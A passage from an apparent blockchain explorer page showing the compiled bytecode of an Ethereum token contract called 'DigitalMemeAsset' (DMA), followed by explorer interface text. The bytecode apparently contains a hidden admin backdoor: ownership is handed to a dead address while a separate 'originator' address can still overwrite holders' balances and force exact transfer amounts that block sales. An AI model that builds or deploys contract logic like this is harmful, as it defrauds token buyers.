ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111c6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113ad565b60405180910390a36001905092915050565b6040518060400160405280600381526020017f444d41000000000000000000000000000000000000000000000000000000000081525081565b60006012600a61056191906118aa565b620186a061056f91906118f5565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c06111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561063c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063390611983565b60405180910390fd5b600061064785610d9c565b9050600081111561069557808314610694576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068b90611a15565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e49190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461073a9190611a69565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078b6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d49190611a35565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161083891906113ad565b60405180910390a360019150509392505050565b60006012905090565b601281565b6108626111c6565b73ffffffffffffffffffffffffffffffffffffffff16610880610e22565b73ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90611b0f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fbedf4d2c097368354ced1a647bd7f7343405c96c860cc61983c33be4d78af88660405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61099e6111c6565b73ffffffffffffffffffffffffffffffffffffffff166109bc610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990611ba1565b60405180910390fd5b6000811015610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d90611c0d565b60405180910390fd5b60005b8251811015610bdd576000838281518110610a7757610a76611c2d565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae790611ca8565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd0b84698f0ba38c686072a2a45b9fa75f428daca5bd1d226f87123243e86c6f88286604051610bc0929190611cc8565b60405180910390a250508080610bd590611cf1565b915050610a59565b505050565b6040518060400160405280601081526020017f4469676974616c4d656d6541737365740000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c6c6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610c8a610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd790611ba1565b60405180910390fd5b60005b83839050811015610d6c578160036000868685818110610d0657610d05611c2d565b5b9050602002016020810190610d1b91906115f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610d6490611cf1565b915050610ce3565b50505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600381526020017f444d410000000000000000000000000000000000000000000000000000000000815250905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610e5a6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecd90611d85565b60405180910390fd5b6000610ee8610ee36111c6565b610d9c565b90506000811115610f3657808314610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c90611a15565b60405180910390fd5b5b8260026000610f436111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8c9190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fe29190611a69565b925050819055508373ffffffffffffffffffffffffffffffffffffffff166110086111c6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161104d91906113ad565b60405180910390a3600191505092915050565b6012600a61106e91906118aa565b620186a061107c91906118f5565b81565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61110e6111c6565b73ffffffffffffffffffffffffffffffffffffffff1661112c610e22565b73ffffffffffffffffffffffffffffffffffffffff1614611182576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117990611b0f565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156112085780820151818401526020810190506111ed565b60008484015250505050565b6000601f19601f8301169050919050565b6000611230826111ce565b61123a81856111d9565b935061124a8185602086016111ea565b61125381611214565b840191505092915050565b600060208201905081810360008301526112788184611225565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112bf82611294565b9050919050565b6112cf816112b4565b81146112da57600080fd5b50565b6000813590506112ec816112c6565b92915050565b6000819050919050565b611305816112f2565b811461131057600080fd5b50565b600081359050611322816112fc565b92915050565b6000806040838503121561133f5761133e61128a565b5b600061134d858286016112dd565b925050602061135e85828601611313565b9150509250929050565b60008115159050919050565b61137d81611368565b82525050565b60006020820190506113986000830184611374565b92915050565b6113a7816112f2565b82525050565b60006020820190506113c2600083018461139e565b92915050565b6000806000606084860312156113e1576113e061128a565b5b60006113ef868287016112dd565b9350506020611400868287016112dd565b925050604061141186828701611313565b9150509250925092565b600060ff82169050919050565b6114318161141b565b82525050565b600060208201905061144c6000830184611428565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61148f82611214565b810181811067ffffffffffffffff821117156114ae576114ad611457565b5b80604052505050565b60006114c1611280565b90506114cd8282611486565b919050565b600067ffffffffffffffff8211156114ed576114ec611457565b5b602082029050602081019050919050565b600080fd5b6000611516611511846114d2565b6114b7565b90508083825260208201905060208402830185811115611539576115386114fe565b5b835b81811015611562578061154e88826112dd565b84526020840193505060208101905061153b565b5050509392505050565b600082601f83011261158157611580611452565b5b8135611591848260208601611503565b91505092915050565b600080604083850312156115b1576115b061128a565b5b600083013567ffffffffffffffff8111156115cf576115ce61128f565b5b6115db8582860161156c565b92505060206115ec85828601611313565b9150509250929050565b60006020828403121561160c5761160b61128a565b5b600061161a848285016112dd565b91505092915050565b600080fd5b60008083601f84011261163e5761163d611452565b5b8235905067ffffffffffffffff81111561165b5761165a611623565b5b602083019150836020820283011115611677576116766114fe565b5b9250929050565b6000806000604084860312156116975761169661128a565b5b600084013567ffffffffffffffff8111156116b5576116b461128f565b5b6116c186828701611628565b935093505060206116d486828701611313565b9150509250925092565b6116e7816112b4565b82525050565b600060208201905061170260008301846116de565b92915050565b6000806040838503121561171f5761171e61128a565b5b600061172d858286016112dd565b925050602061173e858286016112dd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117ce578086048111156117aa576117a9611748565b5b60018516156117b95780820291505b80810290506117c785611777565b945061178e565b94509492505050565b6000826117e757600190506118a3565b816117f557600090506118a3565b816001811461180b576002811461181557611844565b60019150506118a3565b60ff84111561182757611826611748565b5b8360020a91508482111561183e5761183d611748565b5b506118a3565b5060208310610133831016604e8410600b84101617156118795782820a90508381111561187457611873611748565b5b6118a3565b6118868484846001611784565b9250905081840481111561189d5761189c611748565b5b81810290505b9392505050565b60006118b5826112f2565b91506118c08361141b565b92506118ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117d7565b905092915050565b6000611900826112f2565b915061190b836112f2565b9250828202611919816112f2565b915082820484148315176119305761192f611748565b5b5092915050565b7f416c6c6f77616e6365206c696d69742065786365656465640000000000000000600082015250565b600061196d6018836111d9565b915061197882611937565b602082019050919050565b6000602082019050818103600083015261199c81611960565b9050919050565b7f456e666f72636564207472616e7366657220616d6f756e74206d69736d61746360008201527f6800000000000000000000000000000000000000000000000000000000000000602082015250565b60006119ff6021836111d9565b9150611a0a826119a3565b604082019050919050565b60006020820190508181036000830152611a2e816119f2565b9050919050565b6000611a40826112f2565b9150611a4b836112f2565b9250828203905081811115611a6357611a62611748565b5b92915050565b6000611a74826112f2565b9150611a7f836112f2565b9250828201905080821115611a9757611a96611748565b5b92915050565b7f556e617574686f72697a6564206163636573732e2050726f70726965746f722060008201527f6f6e6c792e000000000000000000000000000000000000000000000000000000602082015250565b6000611af96025836111d9565b9150611b0482611a9d565b604082019050919050565b60006020820190508181036000830152611b2881611aec565b9050919050565b7f556e617574686f72697a6564206163636573732e204f726967696e61746f722060008201527f6578636c75736976652e00000000000000000000000000000000000000000000602082015250565b6000611b8b602a836111d9565b9150611b9682611b2f565b604082019050919050565b60006020820190508181036000830152611bba81611b7e565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000611bf7601b836111d9565b9150611c0282611bc1565b602082019050919050565b60006020820190508181036000830152611c2681611bea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420616464726573732070726f76696465640000000000000000600082015250565b6000611c926018836111d9565b9150611c9d82611c5c565b602082019050919050565b60006020820190508181036000830152611cc181611c85565b9050919050565b6000604082019050611cdd600083018561139e565b611cea602083018461139e565b9392505050565b6000611cfc826112f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d2e57611d2d611748565b5b600182019050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000611d6f6014836111d9565b9150611d7a82611d39565b602082019050919050565b60006020820190508181036000830152611d9e81611d62565b905091905056fea264697066735822122016c1b704f02d5847ba1c84d92018914bd42029c5e670cdc2af3c064675ed577564736f6c63430008110033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.